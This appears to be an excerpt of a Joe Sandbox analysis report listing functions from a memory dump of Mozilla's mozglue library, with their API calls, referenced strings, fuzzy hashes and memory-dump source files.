Opcode ID: 961302a0e78228418a7318030d73a84811171fb135f6829d3f2ff00d4beca90f
Instruction ID: 721217b34cf9e09b05813d3d39b52c2bb8d9391ed4de7092e093292759e69193
Opcode Fuzzy Hash: 961302a0e78228418a7318030d73a84811171fb135f6829d3f2ff00d4beca90f
Instruction Fuzzy Hash: D1518D71E201298FCF49CFA8D851BBEBBB1FB99314F15861ED915A7750C7306941CBA0

Function 6CEFCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CEFCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CEFCF4E

Strings

0, xrefs: 6CEFCF30

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 2d2426d69d66ef3fa46961e607b947afd762548ad09c7fbbb6b6292480c0e69f
Instruction ID: 547700149a176010cb0ffd33a307e47010f1657f55e20fdb57e042665ecd1154
Opcode Fuzzy Hash: 2d2426d69d66ef3fa46961e607b947afd762548ad09c7fbbb6b6292480c0e69f
Instruction Fuzzy Hash: D251F276A002168FCB10CF18C490AAAFBB5EF99304F29859DD8595F751D731AD06CBE0

Function 6CF577D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF577FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CF57829

Part of subcall function 6CF2CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CEF31A7), ref: 6CF2CC45
Part of subcall function 6CF2CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CEF31A7), ref: 6CF2CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CF5789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CF578CF

Part of subcall function 6CEF4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEF4E5A
Part of subcall function 6CEF4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CEF4E97

Part of subcall function 6CEF4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CF33EBD,6CF33EBD,00000000), ref: 6CEF42A9

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: c3c8938f0bfcd06728e5a6b1d0cb35748421488b771daa72d481c84e61a191b0
Instruction ID: d1fd2eaf1590ce747f4b370e6a1510f506bdde1b67e81f0464650052f34eebf9
Opcode Fuzzy Hash: c3c8938f0bfcd06728e5a6b1d0cb35748421488b771daa72d481c84e61a191b0
Instruction Fuzzy Hash: 3D41CF719147468FD300DF29D48056BFBF4FF8A214F604A2EE4A987680EB30D959CBD2

Function 6CF4DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF4DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CF4DC0E
free.MOZGLUE(?), ref: 6CF4DC2E
free.MOZGLUE(?), ref: 6CF4DC40

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: d7e1ec051f4d38166379f5d931d2e5a0f6efce940e5e2d28160defb19e2bbabb
Instruction ID: 4e1feebc4d6956ae60ce5f8daeb1c7b11a0cca5379bc5855a1d5df89c21e54af
Opcode Fuzzy Hash: d7e1ec051f4d38166379f5d931d2e5a0f6efce940e5e2d28160defb19e2bbabb
Instruction Fuzzy Hash: 9B417675A057008FC714CF34C488BAABBF6BFC8254F55882DE89A87742EB35E844CB51

Function 6CF36470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CF382BC,?,?), ref: 6CF3649B

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF364A9

Part of subcall function 6CF2FA80: GetCurrentThreadId.KERNEL32 ref: 6CF2FA8D
Part of subcall function 6CF2FA80: AcquireSRWLockExclusive.KERNEL32(6CF7F448), ref: 6CF2FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF3653F
free.MOZGLUE(?), ref: 6CF3655A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 8c540b20370938ca3f1d0c73003369eaa42471f902b70c8b9fe91c03ab24e4cf
Instruction ID: 360285d75d1c353679330b313fd431e8ca15b1fc6d18fa38e4b4a14ed5da86c9
Opcode Fuzzy Hash: 8c540b20370938ca3f1d0c73003369eaa42471f902b70c8b9fe91c03ab24e4cf
Instruction Fuzzy Hash: 7C3181B5A043159FDB44CF14D88469ABBF4BF89314F10442EF85A87741DB34E908CB92

Function 6CF4A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CF4A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6CF4A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6CF4A36A

Part of subcall function 6CF15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CF15EDB
Part of subcall function 6CF15E90: memset.VCRUNTIME140(6CF57765,000000E5,55CCCCCC), ref: 6CF15F27
Part of subcall function 6CF15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CF15FB2

Part of subcall function 6CF42140: free.MOZGLUE(?,00000060,?,6CF47D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF4215D

free.MOZGLUE(00000000), ref: 6CF4A37C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 35fd2cd5893230e9be9738eb2d118ad099c7de92344b84382d02d3dd5231b6f7
Instruction ID: 122aa9f48db1d532240aed144c5a78f8b22ce37df89a102351bf1e00e5de0270
Opcode Fuzzy Hash: 35fd2cd5893230e9be9738eb2d118ad099c7de92344b84382d02d3dd5231b6f7
Instruction Fuzzy Hash: F921C575A012249BDB119F06D440BAFBFE9EF85758F158025ED099BB02E732ED06C6D1

Function 6CF2FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CF4D019,?,?,?,?,?,00000000,?,6CF3DA31,00100000,?), ref: 6CF2FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CF4D019,?,?,?,?,?,00000000,?,6CF3DA31,00100000,?,?), ref: 6CF2FFF5
free.MOZGLUE(?,?,?,?,?,6CF4D019,?,?,?,?,?,00000000,?,6CF3DA31,00100000,?), ref: 6CF3001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CF4D019,?,?,?,?,?,00000000,?,6CF3DA31,00100000,?,?), ref: 6CF3002A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 623bb30b59b5bd994ead78d39f5d8040195af867030da38e02bfb32225d94453
Instruction ID: 303a3798b755f8d29f05c749626f474e73770e7c328981b36254f3eadd7a4cb9
Opcode Fuzzy Hash: 623bb30b59b5bd994ead78d39f5d8040195af867030da38e02bfb32225d94453
Instruction Fuzzy Hash: FE21D6B2E002255BC7189EB89C948AFB7BAEBC53247254738E425D7780EA709D0187D1

Function 6CF57930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CF0BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CF57A3F), ref: 6CF0BF11
Part of subcall function 6CF0BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CF57A3F), ref: 6CF0BF5D
Part of subcall function 6CF0BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CF57A3F), ref: 6CF0BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6CF57968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6CF5A264,6CF5A264), ref: 6CF5799A

Part of subcall function 6CF09830: free.MOZGLUE(?,?,?,6CF57ABE), ref: 6CF0985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CF579E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CF579E8

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 0beec8c5d3b30d84f90c306b23d76432e202bab4009fc82ee71ab141d4bc5e4e
Instruction ID: 478b487d017b0992cd1e26b2bae30c76d64e7c918eaf2655d2221d1feb694b34
Opcode Fuzzy Hash: 0beec8c5d3b30d84f90c306b23d76432e202bab4009fc82ee71ab141d4bc5e4e
Instruction Fuzzy Hash: 1E216D35B043149FCB04DF18D899A9EBBF5FF89314F44882DE88A87355DB30A909CB92

Function 6CF5AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF5AAF8
EnterCriticalSection.KERNEL32(6CF7F770,?,6CF1BF9F), ref: 6CF5AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6CF1BF9F), ref: 6CF5AB39
LeaveCriticalSection.KERNEL32(6CF7F770,?,?,?,?,?,?,?,?,6CF1BF9F), ref: 6CF5AB6B

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: ea503cb829a159bed07d7674708b1cd302f124565ad1f781638b940a140ba849
Instruction ID: 3f8db932c362a2d4b209fcf5d6538f93e89f27af280b84e63381d5a314f0a6a9
Opcode Fuzzy Hash: ea503cb829a159bed07d7674708b1cd302f124565ad1f781638b940a140ba849
Instruction Fuzzy Hash: E6112BB1E102199F8F41DFA9E8889ABBBB5FF4A3057040429E90597301E734E919CBB1

Function 6CF0B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF0B4F5
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF0B502
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF0B542
free.MOZGLUE(?), ref: 6CF0B578

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b909104e4336b52bce94a73fb7d92ea6ed459ee776b8476f3c3d50a18b5004bb
Instruction ID: cc1900f3d6e460daf9db7f696bc1cad240d497f81496ff8f1a8b42bf115adb53
Opcode Fuzzy Hash: b909104e4336b52bce94a73fb7d92ea6ed459ee776b8476f3c3d50a18b5004bb
Instruction Fuzzy Hash: 0111E131E24B41C7D3528F29E5147A2B3B0FF96718F109B5AE84953A01EBB1B5D487A0

Function 6CF33DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CEFF20E,?), ref: 6CF33DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CEFF20E,00000000,?), ref: 6CF33DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF33E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CF33E0E

Part of subcall function 6CF2CC00: GetCurrentProcess.KERNEL32(?,?,6CEF31A7), ref: 6CF2CC0D
Part of subcall function 6CF2CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CEF31A7), ref: 6CF2CC16

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 6fa83af33b90ef7c33e4b6d46399c54144c76f97aa5f6aec81703f439373601b
Instruction ID: 69d11ec9116da965ecab9b82288e096ff226485b7ccad50405cfab70a000d513
Opcode Fuzzy Hash: 6fa83af33b90ef7c33e4b6d46399c54144c76f97aa5f6aec81703f439373601b
Instruction Fuzzy Hash: C7F012719502187BEB01AB94EC85EEB376DDB46624F050020FD0857741D735FD5986F7

Function 6CF42050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF4205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CF4201B,?,?,?,?,?,?,?,6CF41F8F,?,?), ref: 6CF42064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF4208E
free.MOZGLUE(?,?,?,00000000,?,6CF4201B,?,?,?,?,?,?,?,6CF41F8F,?,?), ref: 6CF420A3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 7043b8062d47954e72c21438eadf933ec6de5b2625d4a6e35004be84fb725a59
Instruction ID: 0a63bafb3c8dff76c63fc84ed28537fc4420fd807c3f9ccbdfc47f42db6d8558
Opcode Fuzzy Hash: 7043b8062d47954e72c21438eadf933ec6de5b2625d4a6e35004be84fb725a59
Instruction Fuzzy Hash: 3AF0E971504710DFD7118F16D88879BBBF8EF87325F10052AF50687711C772A845CBA5

Function 6CF420B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF420B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CF2FBD1), ref: 6CF420C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CF2FBD1), ref: 6CF420DA
free.MOZGLUE(00000000,?,6CF2FBD1), ref: 6CF420F1

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: cb2ec6c10f737c7af70fdfb18bf648d93562c69ca386f9694f8a0542658854cf
Instruction ID: 477e863aa0e604f7a96fd930c21ae0350d910dc27045c8e4b915dd03e9d1b14b
Opcode Fuzzy Hash: cb2ec6c10f737c7af70fdfb18bf648d93562c69ca386f9694f8a0542658854cf
Instruction Fuzzy Hash: A1E0E531A006248BC2219F29A80878EBBF9EF87219B00062AE406C3B01D776E54687E5

Function 6CF485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CF485D3

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CF48725

Strings

map/set<T> too long, xrefs: 6CF48720

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 9638e2bbea5199fb8468719bc9c418cd1f75fb7ba2134393f9b33cd542bf6d0f
Instruction ID: 5cc4d1e2fb24647b8a252d507b7c80edb16ddc173a9cc326294ff996dbd1fb57
Opcode Fuzzy Hash: 9638e2bbea5199fb8468719bc9c418cd1f75fb7ba2134393f9b33cd542bf6d0f
Instruction Fuzzy Hash: 1A5154746006418FD741CF18C194A5ABBF1BF4A318F19C29AD8599BB52C375EC85CFD2

Function 6CEFBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CEFBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CEFBE8F

Strings

0, xrefs: 6CEFBE5B

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d743f3cead27fd391669bfa2bf65990b0f7d96dcdbaf3a178ca37b0de816ccac
Instruction ID: 1f824977e75fa388aeef8522acf157787001f58c163b1a96c3faabbd08bc6569
Opcode Fuzzy Hash: d743f3cead27fd391669bfa2bf65990b0f7d96dcdbaf3a178ca37b0de816ccac
Instruction Fuzzy Hash: 0241C471909749CFC301DF38C481A9BB7F4AF8A348F208A1DF9A557611D731D9468B92

Function 6CF40A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6CF037F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6CF5145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6CF0380A

Part of subcall function 6CF38DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6CF506E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6CF38DCC

Part of subcall function 6CF40B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6CF4138F,?,?,?), ref: 6CF40B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6CF4138F,?,?,?), ref: 6CF40B27
free.MOZGLUE(?,?,?,?,?,6CF4138F,?,?,?), ref: 6CF40B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6CF40AB5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: d5df188bbbddef9a1f39b811884aa2ce0412303037e4acce3be10bdba734c2fe
Instruction ID: f2c19868e0bac6680fb5709352fa6d014a78cffad0bccc36ceca28e4c03402b4
Opcode Fuzzy Hash: d5df188bbbddef9a1f39b811884aa2ce0412303037e4acce3be10bdba734c2fe
Instruction Fuzzy Hash: 4921E275B002459BDB04DF54D850BFFBBB5EF91708F10842DD8069BB42DBB0A908CBA1

